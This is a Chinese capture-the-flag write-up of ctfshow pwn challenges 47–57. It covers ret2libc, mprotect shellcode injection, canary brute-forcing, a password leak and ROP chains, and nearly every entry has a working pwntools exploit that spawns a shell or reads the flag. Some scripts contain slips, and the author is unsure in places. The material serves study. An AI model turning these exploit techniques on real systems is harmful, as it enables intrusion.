# pwn47(ret2libc)

# 题目:

ez ret2libc

32 位程序保护只有 Partial RELRO

c
int ctfshow()
{
  char s[152]; // [esp+Ch] [ebp-9Ch] BYREF
  puts("Start your show time: ");
  gets(s);
  return puts(s);
}

有 gets 函数,然后也执行了 puts,可以进行泄露得到 libc 基址

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#p=process('./')
e=ELF('./pwn47')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28252)
puts_got=e.got["puts"]
puts_plt=e.plt["puts"]
main_add=e.sym["main"]
#system=e.sym["system"]
#rdi_ret=0x00000000004007f3
payload=b"a"*(0x9c+4)+p32(puts_plt)+p32(main_add)+p32(puts_got)
p.recvuntil("Start your show time: ")
#puts=u64(p.recv(6).ljust(8,b'\x00'))
p.sendline(payload)
puts=u32(p.recvuntil('\xf7')[-4:])
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
p.recvuntil("Start your show time: ")
payload2=b"a"*(0x9c+4)+p32(system)+p32(main_add)+p32(binsh)
p.send(payload2)
p.interactive()

# pwn48 (ret2libc)

# 题目:

没有write了,试试用puts吧,更简单了呢

32 位程序,只开启了 partial RELRO

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  logo();
  puts("O.o?");
  ctfshow();
  return 0;
}
ssize_t ctfshow()
{
  char buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
  return read(0, buf, 0xC8u);
}

和上一题类似,泄露得到 libc 基址

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#p=process('./')
e=ELF('./pwn48')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28262)
puts_got=e.got["puts"]
puts_plt=e.plt["puts"]
main_add=e.sym["main"]
#system=e.sym["system"]
#rdi_ret=0x00000000004007f3
payload=b"a"*(0x6b+4)+p32(puts_plt)+p32(main_add)+p32(puts_got)
p.recvuntil("O.o?")
#puts=u64(p.recv(6).ljust(8,b'\x00'))
p.sendline(payload)
puts=u32(p.recvuntil('\xf7')[-4:])
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
p.recvuntil("O.o?")
payload2=b"a"*(0x6b+4)+p32(system)+p32(main_add)+p32(binsh)
p.send(payload2)
p.interactive()

# pwn49 (mprotect 函数)

mprotect 函数可以改变内存的读写权限

mprotect (起始地址,修改内存长度,修改的权限(修改为 7)),起始地址必须包含整个页(4k,起始地址末尾为 000)

静态编译一般 ida 旁边会有许多函数

# 题目

静态编译?或许你可以找找mprotect函数

32 位程序

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

【这里起始没有开启 canary,checksec 旧版本会认为有 __stack_chk_fali_loacl 函数就开启了 canary

因此这里首先利用 mprotect 修改执行权限(修改范围要包含整个页),然后通过 read 函数来将 shellcode 写入到修改权限的地址

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#p=process('./pwn43')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28138)
bbs=0x804B060
read=0x806BEE0
mprotect=0x806CDD0
traget_add=0x80DA000
size=0x1000
chmod=0x7
main=0x8048A19
pop_esi_edi_ebx_ret=0x08069cbd
sh=0x80487BA
p.recvuntil("Use mprotect func do sth!                               ")
p.recvuntil("    * *************************************                           ")
shellcode=asm(shellcraft.sh())
payload2=b"a"*(0x12+4)+p32(mprotect)+p32(pop_esi_edi_ebx_ret)+p32(traget_add)+p32(size)+p32(chmod)+p32(main)
p.sendline(payload2)
p.recvuntil("Use mprotect func do sth!                               ")
p.recvuntil("    * *************************************                           ")
payload2=b"a"*(0x12+4)+p32(read)+p32(traget_add)+p32(0)+p32(traget_add)+p32(0x1000)
p.sendline(payload2)
p.sendline(shellcode)
p.recv()
p.interactive()

# pwn50(ret2libc,也可以用 mprotect

# 题目

题目描述: 好像哪里不一样了 远程libc环境 Ubuntu 18

源码:

c
__int64 ctfshow()
{
  char v1[32]; // [rsp+0h] [rbp-20h] BYREF
  puts("Hello CTFshow");
  return gets(v1);
}

这里可以进行溢出,直接利用 ret2libc

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#p=process('./pwn50')
e=ELF('./pwn50')
#libc=ELF("./64libc.so.6")
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28117)
puts_got=e.got["puts"]
puts_plt=e.plt["puts"]
main_add=e.sym["main"]
#system=e.sym["system"]
rdi_ret=0x00000000004007e3
ret=0x00000000004004fe
#payload=b"a"*(0x20+8)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_add)
payload=b"a"*(0x20+8)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_add)
p.recvuntil("Hello CTFshow")
p.sendline(payload)
p.recvline()
puts=u64(p.recv(6).ljust(8,b'\x00'))
log.info("puts:"+hex(puts))
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")
log.info("libc_base:"+hex(libc_base))
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
#log.info("libc_base:"+hex(libc_base))
log.info("system:"+hex(system))
log.info("binsh:"+hex(binsh))
p.recvuntil("Hello CTFshow")
payload2=b"a"*(0x20+8)+p64(rdi_ret)+p64(binsh)+p64(system)
p.send(payload2)
p.interactive()

# pwn51(c++ 程序)

# 题目:

题目内容: I‘m IronMan

32 位程序,保护:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

源码为 c++ 编写的,有一大堆模板类

int sub_8049059()
{
  int v0; // eax
  int v1; // eax
  unsigned int v2; // eax
  int v3; // eax
  const char *v4; // eax
  int v6; // [esp-Ch] [ebp-84h]
  int v7; // [esp-8h] [ebp-80h]
  char v8[12]; // [esp+0h] [ebp-78h] BYREF
  char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
  char v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
  char v11[24]; // [esp+44h] [ebp-34h] BYREF
  unsigned int i; // [esp+5Ch] [ebp-1Ch]

  memset(s, 0, sizeof(s));
  puts("Who are you?");
  read(0, s, 0x20u);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&unk_804D0A0, &unk_804A350);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, s);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v10, &unk_804D0B8);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v11, &unk_804D0A0);
  sub_8048F06(v8);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v11, v11, v10);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v10, v6, v7);
  if ( sub_80496D6(v8) > 1u )
  {
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&unk_804D0A0, &unk_804A350);
    v0 = sub_8049700(v8, 0);
    if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
    {
      v1 = sub_8049700(v8, 0);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, v1);
    }
    for ( i = 1; ; ++i )
    {
      v2 = sub_80496D6(v8);
      if ( v2 <= i )
        break;
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, "IronMan");
      v3 = sub_8049700(v8, i);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, v3);
    }
  }
  v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&unk_804D0A0);
  strcpy(s, v4);
  printf("Wow!you are:%s", s);
  return sub_8049616(v8);
}

看的我很麻,根据 wp 上,功能就是将字母 I 转变为 IronMan ,然后再复制到 s

有 system ( cat /ctfshow_flag ) 函数

这里我们就能够通过输入一个字节的 I 变成七个字节的 IronMan 这样就算限制了输入的大小 (0x20) 个字节,也仍然可以溢出

我们想要溢出(108+4 的字节然后再返回到 system + 返回地址 + 参数)总共 120 字节,后面的 system 这些无法改变 (12 字节),只好再前面将 I 转化成 IronMan(112/7=16), 前面输入 16 个 I 即可,这些加起来总共 28 字节,而我们可以输入 32 字节(0x20)所以可以做到溢出

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#p=process('./pwn51')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28212)
system=0x804902E
system_flag=0x804902E
pop_edi=0x0804aeb5
pop_ebp=0x080492e4
catflag=0x804A331
#gdb.attach(p,"b*0804925A")
p.recvuntil("Who are you?\n")
#payload1=b"I"*(16)+p32(system_flag)
payload1=b"I"*(16)+p32(pop_ebp)+p32(catflag)+p32(system)
p.sendline(payload1)
p.recv()
p.interactive()

# pwn52 (open 函数 + 判断数值相等)

# 题目

题目描述: 迎面走来的flag让我如此蠢蠢欲动

32 位程序,保护:

Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

main 函数:

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  logo(&argc);
  puts("What do you want?");
  ctfshow();
  return 0;
}

ctfshow 函数:

c
int ctfshow()
{
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
  gets(s);
  return puts(s);
}

flag 函数:

c
char *__cdecl flag(int a1, int a2)
{
  char *result; // eax
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]
  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  result = fgets(s, 64, stream);
  if ( a1 == 876 && a2 == 877 )
    result = (char *)printf(s);
  return result;
}

可以进行溢出,有个 open('/ctfshow_flag') 但是需要进行绕过使 a1=876&&a2=877 ,a1 和 a2 都是 flag 的参数,直接溢出返回到 flag 函数然后附上参数即可

注意一点如果最后返回的 flag 接收了(recv ()),那么就会导致是字节形式,无法完整看出来 flag,可以利用 str 转化类型

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#p=process('./pwn51')
#e=ELF('./')
p=remote("pwn.challenge.ctf.show",28299)
flag=0x8048586
p.recvuntil("What do you want?\n")
payload1=b"I"*(0x6c+4)+p32(flag)+p32(0)+p32(876)+p32(877)#+p32(system)
p.sendline(payload1)
a=str(p.recv(0xa3))
print("flag:"+a)
p.interactive()

# pwn53

# 题目

题目描述: 再多一眼看一眼就会爆炸

32 位程序:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

main:

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  logo(&argc);
  canary();
  ctfshow();
  return 0;
}

canary:

c
int canary()
{
  FILE *stream; // [esp+Ch] [ebp-Ch]
  stream = fopen("/canary.txt", "r");
  if ( !stream )
  {
    puts("/canary.txt: No such file or directory.");
    exit(0);
  }
  fread(&global_canary, 1u, 4u, stream);
  return fclose(stream);
}

ctfshow :

c
int ctfshow()
{
  size_t nbytes; // [esp+4h] [ebp-54h] BYREF
  char v2[32]; // [esp+8h] [ebp-50h] BYREF
  char buf[32]; // [esp+28h] [ebp-30h] BYREF
  int s1; // [esp+48h] [ebp-10h] BYREF
  int v5; // [esp+4Ch] [ebp-Ch]
  v5 = 0;
  s1 = global_canary;
  printf("How many bytes do you want to write to the buffer?\n>");
  while ( v5 <= 31 )
  {
    read(0, &v2[v5], 1u);
    if ( v2[v5] == 10 )
      break;
    ++v5;
  }
  __isoc99_sscanf(v2, "%d", &nbytes);
  printf("$ ");
  read(0, buf, nbytes);
  if ( memcmp(&s1, &global_canary, 4u) )
  {
    puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
    exit(-1);
  }
  puts("Where is the flag?");
  return fflush(stdout);
}

flag:

c
int flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]
  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  puts(s);
  return fflush(stdout);
}

这道题有输出 flag 的函数,所以我们只要溢出返回到这里就好了,然后这道题自己构造了一个 canary 文件,然后将这个复制给 s1 存入栈中,必须绕过这个比较才能得到 flag ,而里面是

因为这个 canary 文件是固定的那么我们可以通过爆破来得出来 canary 的值

4 个字节的 canary,用的是 memcmp 函数比较,不能用 \x00 截断,那么就构造循环爆破出 canary

# 这里的爆破注意:

尽管是比较 4 个字节,但是当我们只输入一个字节时,没有其他字节可以比较,因此我们可以通过这种方式来爆破第一个字节,第一个字节匹配后没有其他字节可以比较时也会认为是正确的,也就不会退出程序,但是这种我们无法连续输入字符溢出到 ret,因为这样会有其他字节让 memcmp 来进行比较判断,因此我们只能逐个爆破,得到一个正确字节后再进行下一个字节的判断

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
#context(os='linux', arch='i386', log_level='debug')
canary=b''
for i in range(4):
    for j in range(0x1000):
        p=remote("pwn.challenge.ctf.show",28186)
        flag=0x08048696
        p.sendlineafter("How many bytes do you want to write to the buffer?\n>",'999')
        p.recv()
        payload1=b"I"*(0x20)+canary+p8(j)#+b"a"*16+p32(flag)#+p32(0)+p32(876)+p32(877)#+p32(system)
        p.send(payload1)
        a=p.recv()
        if b'Canary Value Incorrect!' not in a: #不输出这个字符串代表该字符匹配成功
            canary+=p8(j) #将匹配字节加入到后面(canary j  的顺序)
            print(canary)
            break
        else:
            print("gg")
        p.close()
p=remote("pwn.challenge.ctf.show",28186)
flag=0x08048696
p.sendlineafter("How many bytes do you want to write to the buffer?\n>",'999')
p.recv()
print(canary)
payload1=b"I"*(0x20)+canary+b"a"*16+p32(flag)
p.send(payload1)
p.recv()
p.interactive()

# pwn54

# 题目

题目描述: 再近一点靠近点快被融化

32 位程序:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

main:

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s1[64]; // [esp+0h] [ebp-1A0h] BYREF
  char v5[256]; // [esp+40h] [ebp-160h] BYREF
  char s[64]; // [esp+140h] [ebp-60h] BYREF
  FILE *stream; // [esp+180h] [ebp-20h]
  char *v8; // [esp+184h] [ebp-1Ch]
  int *v9; // [esp+194h] [ebp-Ch]
  v9 = &argc;
  setvbuf(stdout, 0, 2, 0);
  memset(s, 0, sizeof(s));
  memset(v5, 0, sizeof(v5));
  memset(s1, 0, sizeof(s1));
  puts("==========CTFshow-LOGIN==========");
  puts("Input your Username:");
  fgets(v5, 256, stdin);
  v8 = strchr(v5, 10);
  if ( v8 )
    *v8 = 0;
  strcat(v5, ",\nInput your Password.");
  stream = fopen("/password.txt", "r");
  if ( !stream )
  {
    puts("/password.txt: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  printf("Welcome ");
  puts(v5);
  fgets(s1, 64, stdin);
  v5[0] = 0;
  if ( !strcmp(s1, s) )
  {
    puts("Welcome! Here's what you want:");
    flag();
  }
  else
  {
    puts("You has been banned!");
  }
  return 0;
}

这里有个 flag,利用 s1 和 s 比较相等就能得到~~(也可以利用 \x00 截断)~~ ,s 是 password,而 s1 是我们输入的 利用 \x00 绕过就能得到

可以发现

读入的 password 也被读入栈上,而我们输入 name 的大小 256 刚好到达 password 的位置,这样以来可以覆盖末尾的空字符时 puts 函数将 password 一起输出

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#p=process('./pwn51')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28227)
p.recvuntil("Input your Username:\n")
p.sendline(b"a"*255+b"b")
p.recvuntil(b"aab")
password=p.recv(64)
print(str(password))
payload=password
p.sendline(payload)
p.recv()
p.interactive()

没有按预期直接获得 flag,但是得到了 password

这里要注意用户名等于 256 时会对 pwssword 有影响,所以得到密码后,再次连接输入小于 256 长度的 name 即可

【这里可能是因为被追加的 input password 给影响了 s 的栈内值,从 /password.txt 文件中读取密码时,你正在向一个已经被部分污染的 s 缓冲区写入。但是,由于 fgets 只会覆盖它读取的内容长度,所以不会完全清除 s 中的所有污染内容,除非从文件中读取的字符数大于或等于覆盖的字符数。】

n
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
p=process('./pwn54')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
#p=remote("pwn.challenge.ctf.show",28227)
p.recvuntil("Input your Username:\n")
p.send(b"a"*255+b"b")
p.recv(264)
password=p.recv()
print("password:"+str(password))
p.close()
p=remote("pwn.challenge.ctf.show",28227)
p.recvuntil("Input your Username:\n")
p.sendline("a")
p.recvuntil("a")
payload=password
p.sendline(payload)
p.recv()
p.interactive()

# pwn55

# 题目:

题目描述: 你是我的谁,我的我是你的谁

32 位程序:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

从图里可以清晰的看出来有栈溢出,和 flag 后门,不过需要让 flag1flag2 以及 a1 满足条件,因此要逐个执行

32 位程序的函数调用顺序是:函数本身,返回地址,参数

n
payload1=b"a"*(0x2c+4)+p32(flag_func1)+p32(flag_func2)+p32(flag)+p32(0xacacacac)+p32(0)+p32(0xbdbdbdbd)

这里是 flag_func1 函数,返回地址位 flag_func2, 没有参数,flag_func 的返回地址为 flag,参数为 0xacacacac ,flag 的返回地址为 0,参数为 0xbdbdbdbd ,这里没有成功【gpt:所以,0xacacacac 在这里有双重角色:它首先作为 flag_func1 的参数,然后它作为 flag 函数的返回地址。但这是因为你的 payload 的特定结构决定的】

后续我的理解: 这里的 flag 是作为 flag_func2 的返回地址了,并不是作为函数本身所以没给他返回地址(但是有参数?)

而:

n
payload1=b"a"*(0x2c+4)+p32(flag_func1)+p32(flag_func2)+p32(flag)+p32(0xacacacac)+p32(0xbdbdbdbd)

就可以,不知道为什么没有 flag 的返回地址

改用寄存器传参:
先函数,再寄存器,再参数

n
payload1=b"a"*(0x2c+4)+p32(ret)+p32(flag_func1)+p32(flag_func2)+p32(rbx_ret)+p32(0xacacacac)+p32(flag)+p32(rbx_ret)+p32(0xbdbdbdbd)

exp:

n
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
p=process('./pwn54')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28230)
rbx_ret=0x0804859b
ret=0x080483aa
flag_func1=0x8048586
flag_func2=0x804859D
flag=0x08048606
p.recvuntil("Input your flag: ")
#payload1=b"a"*(0x2c+4)+p32(flag_func1)+p32(flag_func2)+p32(flag)+p32(0)+p32(0xacacacac)+p32(0xbdbdbdbd)
#payload1=b"a"*(0x2c+4)+p32(ret)+p32(flag_func1)+p32(rbx_ret)+p32(0xacacacac)+p32(flag_func2)+p32(rbx_ret)+p32(0xbdbdbdbd)+p32(flag)#+p32(0)#+p32(0xacacacac)+p32(0xbdbdbdbd)
payload1=b"a"*(0x2c+4)+p32(ret)+p32(flag_func1)+p32(flag_func2)+p32(rbx_ret)+p32(0xacacacac)+p32(flag)+p32(rbx_ret)+p32(0xbdbdbdbd)#+p32(flag)
#payload1=b"a"*(0x2c+4)+p32(flag_func1)+p32(flag_func2)+p32(flag)+p32(0xacacacac)+p32(0xbdbdbdbd)
p.sendline(payload1)
p.recv()
p.interactive()

# pwn56

# 题目:

题目内容:

题目描述: 先了解一下简单的32位shellcode吧

.text:08048060
.text:08048060                 public start
.text:08048060 start           proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    68h ; 'h'
.text:08048062                 push    732F2F2Fh
.text:08048067                 push    6E69622Fh
.text:0804806C                 mov     ebx, esp        ; file
.text:0804806E                 xor     ecx, ecx        ; argv
.text:08048070                 xor     edx, edx        ; envp
.text:08048072                 push    0Bh
.text:08048074                 pop     eax
.text:08048075                 int     80h             ; LINUX - sys_execve
.text:08048075 start           endp
.text:08048075
.text:08048075 _text           ends
.text:08048075

对应伪代码:

c
void __noreturn start()
{
  int v0; // eax
  char v1[12]; // [esp-Ch] [ebp-Ch] BYREF
  strcpy(v1, "/bin///sh");
  v0 = sys_execve(v1, 0, 0);
}

这里发现是通过系统调用来 getshell ,32 位系统调用,0xb (11) 号的系统调用是 execve

c
#define __NR_execve 11
push    68h ; #0x68("h")
push    732F2F2Fh# 0x73("s") 0x2F("/") 0x2F("/") 0x2F("/")
push    6E69622Fh# 0x6E("n") 0x69("i") 0x62("b") 0x2F("/") 


mov     ebx, esp        ; file  # 将栈顶的“/bin/sh”放入ebx
xor     ecx, ecx        ; argv   #ecx清零
xor     edx, edx        ; envp  #edx清零
push    0Bh
pop     eax
int     80h             ; LINUX - sys_execve

这里最后执行 execve("/bin/sh",0,0)

32 位传参系统调用号放入 eax,参数分别放入 ebx,ecx,edx

所以这个程序执行直接就 getshell 了

# pwn57

# 题目:

题目描述: 先了解一下简单的64位shellcode吧

0000000000400080 ; Attributes: noreturn
.text:0000000000400080
.text:0000000000400080                 public _start
.text:0000000000400080 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000400080                 push    rax
.text:0000000000400081                 xor     rdx, rdx
.text:0000000000400084                 xor     rsi, rsi
.text:0000000000400087                 mov     rbx, 68732F2F6E69622Fh
.text:0000000000400091                 push    rbx
.text:0000000000400092                 push    rsp
.text:0000000000400093                 pop     rdi
.text:0000000000400094                 mov     al, 3Bh ; ';'
.text:0000000000400096                 syscall                 ; LINUX -
.text:0000000000400096 _start          endp
.text:0000000000400096
.text:0000000000400096 _text           ends

push    rax
xor     rdx, rdx
xor     rsi, rsi
mov     rbx, 68732F2F6E69622Fh  #/bin//sh
push    rbx #将“/bin/sh”放入rbx,这里push将rsp地址的值为'/bin/sh'
push    rsp #rsp-8
pop     rdi  #将栈顶的指向的地址内的"/bin/sh"放入rdi
mov     al, 3Bh ; ';' #系统调用号59放入rax(al)
syscall                 ; LINUX -

系统调用 0x3B (59)

#define __NR_execve 59 

64 位传参方式:将系统调用号存入 rax 寄存器中,然后从左到右依次将参数传入 rdi、rsi、rdx 寄存器中

这里直接调用了 execve("/bin/sh",0,0) ,执行程序即可 getshell